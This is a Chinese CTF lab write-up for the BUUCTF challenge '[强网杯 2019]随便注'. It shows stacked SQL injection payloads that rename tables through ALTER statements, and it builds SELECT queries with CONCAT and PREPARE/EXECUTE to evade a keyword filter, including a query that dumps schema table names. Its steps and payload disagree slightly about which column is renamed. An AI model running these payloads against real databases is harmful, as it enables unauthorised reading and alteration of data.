BUUCTF-[强网杯 2019]随便注 记录
[强网杯 2019]随便注
进入该界面
正常步骤注入:
存在注入,order by 看看几个字段,3返回错误,说明两个字段。
union select联合查询,发现过滤了select这些关键字
这时候想到堆叠注入,试一下
可以看到列出了数据库,说明存在堆叠注入。
然后显示表看看
存在两张表,分别查看下字段。
可以看到1919810931114514中有我们想要的flag字段,但只有再words表里面会回显数据
内部查询语句类似 : select id, data from word where id =
这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
构造payload:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后使用1' or 1=1#进行查看。
方法二:直接使用预处理查看数据
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hi from @a;execute hi;# 但strstr过滤了set和prepare
改成大写:
1';Set @a=concat("sel","ect flag from `1919810931114514`");Prepare hi from @a;execute hi;#
预处理:
PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE :执行命令
DEALLOCATE PREPARE:释放命令
示例:set @a=concat("sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()");
prepare dump from @a;
execute dump;